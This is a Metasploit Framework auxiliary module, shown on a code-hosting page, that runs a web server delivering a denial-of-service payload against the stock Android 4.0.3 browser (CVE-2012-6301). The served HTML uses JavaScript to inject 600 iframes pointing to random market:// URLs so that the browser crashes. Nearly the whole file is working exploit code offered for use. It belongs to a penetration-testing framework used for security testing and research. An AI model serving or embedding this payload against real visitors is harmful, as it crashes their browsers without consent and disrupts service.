Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/auxiliary/dos/android/android_stock_browser_iframe.rb
21537 views
1
##

2
# This module requires Metasploit: https://metasploit.com/download

3
# Current source: https://github.com/rapid7/metasploit-framework

4
##

5


6
class MetasploitModule < Msf::Auxiliary

7
  include Msf::Exploit::Remote::HttpServer

8


9
  def initialize(info = {})

10
    super(

11
      update_info(

12
        info,

13
        'Name' => 'Android Stock Browser Iframe DOS',

14
        'Description' => %q{

15
          This module exploits a vulnerability in the native browser that comes with Android 4.0.3.

16
          If successful, the browser will crash after viewing the webpage.

17
        },

18
        'License' => MSF_LICENSE,

19
        'Author' => [

20
          'Jean Pascal Pereira',  # Original exploit discovery

21
          'Jonathan Waggoner'     # Metasploit module

22
        ],

23
        'References' => [

24
          [ 'PACKETSTORM', '118539'],

25
          [ 'CVE', '2012-6301' ]

26
        ],

27
        'DisclosureDate' => '2012-12-01',

28
        'Actions' => [[ 'WebServer', { 'Description' => 'Serve exploit via web server' } ]],

29
        'PassiveActions' => [ 'WebServer' ],

30
        'DefaultAction' => 'WebServer',

31
        'Notes' => {

32
          'Stability' => [CRASH_SERVICE_DOWN],

33
          'SideEffects' => [],

34
          'Reliability' => []

35
        }

36
      )

37
    )

38
  end

39


40
  def run

41
    exploit # start http server

42
  end

43


44
  def setup

45
    @html = %|

46
    <html>

47
    <body>

48
    <script type="text/javascript">

49
      for (var i = 0; i < 600; i++)

50
      {

51
        var m_frame = document.createElement("iframe");

52
        m_frame.setAttribute("src", "market://#{Rex::Text.rand_text_alpha(1..16)}");

53
        document.body.appendChild(m_frame);

54
      }

55
    </script>

56
    </body>

57
    </html>

58
    |

59
  end

60


61
  def on_request_uri(cli, _request)

62
    print_status('Sending response')

63
    send_response(cli, @html)

64
  end

65
end

66


67